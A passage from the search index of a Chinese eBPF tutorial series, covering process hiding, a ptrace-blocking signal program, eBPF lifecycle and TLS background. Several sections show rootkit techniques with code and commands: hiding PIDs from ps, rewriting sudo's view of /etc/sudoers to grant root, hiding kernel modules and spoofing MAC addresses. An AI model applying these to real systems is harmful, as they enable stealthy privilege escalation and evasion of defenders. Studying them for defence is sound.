sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"179","title":"内核态 eBPF 程序实现"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含  和  等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"180","title":"用户态 eBPF 程序实现"},"181":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"181","title":"编译运行，隐藏 PID"},"182":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"182","title":"总结"},"183":{"body":"eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术，允许用户在内核空间执行自定义程序，而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 本文介绍了如何使用 eBPF 的 bpf_send_signal 功能，向指定的进程发送信号进行干预。更多的教程文档，请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程","id":"183","title":"eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程"},"184":{"body":"1. 性能分析: 在现代软件生态系统中，优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序，如 hhvm，出现运行缓慢或资源利用率异常高时，它可能会对整个系统产生不利影响。因此，定位这些性能瓶颈并及时解决是至关重要的。 2. 异常检测与响应: 任何运行在生产环境中的系统都可能面临各种异常情况，从简单的资源泄露到复杂的恶意软件攻击。在这些情况下，系统需要能够迅速、准确地检测到这些异常，并采取适当的应对措施。 3. 动态系统管理: 随着云计算和微服务架构的普及，能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如，根据流量波动自动扩容或缩容，或者在检测到系统过热时降低 CPU 频率。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 使用场景","id":"184","title":"使用场景"},"185":{"body":"为了满足上述使用场景的需求，传统的技术方法如下： 安装一个 bpf 程序，该程序会持续监视系统，同时对一个 map 进行轮询。 当某个事件触发了 bpf 程序中定义的特定条件时，它会将相关数据写入此 map。 接着，外部分析工具会从该 map 中读取数据，并根据读取到的信息向目标进程发送信号。 尽管这种方法在很多场景中都是可行的，但它存在一个主要的缺陷：从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度，从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 现有方案的不足","id":"185","title":"现有方案的不足"},"186":{"body":"为了克服传统方法的这些限制，Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。 这两个函数带来的主要优势包括： 1. 实时响应: 通过直接从内核空间发送信号，避免了用户空间的额外开销，这确保了信号能够在事件发生后立即被发送，大大减少了延迟。 2. 准确性: 得益于减少的延迟，现在我们可以获得更准确的系统状态快照，这对于性能分析和异常检测尤其重要。 3. 灵活性: 这些新的 helper 函数为开发人员提供了更多的灵活性，他们可以根据不同的使用场景和需求来自定义信号的发送逻辑，从而更精确地控制和管理系统行为。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 新方案的优势","id":"186","title":"新方案的优势"},"187":{"body":"在现代操作系统中，一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中，ptrace 系统调用是一个强大的工具，它允许一个进程观察和控制另一个进程的执行，并修改其寄存器和内存。这使得它成为了调试和跟踪工具（如 strace 和 gdb）的主要机制。然而，恶意的 ptrace 使用也可能导致安全隐患。 这个程序的目标是在内核态监控 ptrace 的调用，当满足特定的条件时，它会发送一个 SIGKILL 信号终止调用进程。此外，为了调试或审计目的，该程序会记录这种干预并将相关信息发送到用户空间。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 内核态代码分析","id":"187","title":"内核态代码分析"},"188":{"body":"","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 代码分析","id":"188","title":"代码分析"},"189":{"body":"signal.h // Simple message structure to get events from eBPF Programs\n// in the kernel to user spcae\n#define TASK_COMM_LEN 16\nstruct event { int pid; char comm[TASK_COMM_LEN]; bool success;\n}; 这部分定义了一个简单的消息结构，用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 1. 数据结构定义 (signal.h)","id":"189","title":"1. 数据结构定义 (signal.h)"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"signal.bpf.c // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Optional Target Parent PID\nconst volatile int target_ppid = 0; SEC(\"tp/syscalls/sys_enter_ptrace\")\nint bpf_dos(struct trace_event_raw_sys_enter *ctx)\n{ long ret = 0; size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Send signal. 9 == SIGKILL ret = bpf_send_signal(9); // Log event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0;\n} 许可证声明 声明了程序的许可证为 \"Dual BSD/GPL\"，这是为了满足 Linux 内核对 eBPF 程序的许可要求。 Ringbuffer Map 这是一个 ring buffer 类型的 map，允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 目标父进程ID target_ppid 是一个可选的父进程ID，用于限制哪些进程受到影响。如果它被设置为非零值，只有与其匹配的进程才会被目标。 主函数 bpf_dos 进程检查 程序首先获取当前进程的ID。如果设置了 target_ppid，它还会获取当前进程的父进程ID并进行比较。如果两者不匹配，则直接返回。 发送信号 使用 bpf_send_signal(9) 来发送 SIGKILL 信号。这将终止调用 ptrace 的进程。 记录事件 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 总结：这个 eBPF 程序提供了一个方法，允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用，提供了一个对抗潜在恶意活动或误操作的额外层次。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 2. eBPF 程序 (signal.bpf.c)","id":"190","title":"2. eBPF 程序 (signal.bpf.c)"},"191":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译： ./ecc signal.bpf.c signal.h 使用方式： sudo ./ecli package.json 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试： $ strace /bin/whoami\nKilled 原先的 console 中会输出： INFO [bpf_loader_lib::skeleton] Running ebpf program...\nTIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 编译运行","id":"191","title":"编译运行"},"192":{"body":"通过这个实例，我们深入了解了如何将 eBPF 程序与用户态程序相结合，实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制，这种技术不仅限于监控，还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说，这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后，如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 总结","id":"192","title":"总结"},"193":{"body":"https://github.com/pathtofile/bad-bpf https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"193","title":"参考资料"},"194":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为  ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"194","title":"使用 eBPF 添加 sudo 用户"},"195":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"195","title":"参考资料"},"196":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"196","title":"使用 eBPF 替换任意程序读取或写入的文本"},"197":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"197","title":"参考资料"},"198":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"198","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"199":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"199","title":"eBPF 程序的生命周期"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"200","title":"运行"},"201":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"201","title":"参考资料"},"202":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"202","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"203":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"203","title":"背景知识"},"204":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"204","title":"SSL 和 TLS"},"205":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"205","title":"TLS 的工作原理"},"206":{"body":"eBPF (Extended Berkeley Packet Filter): 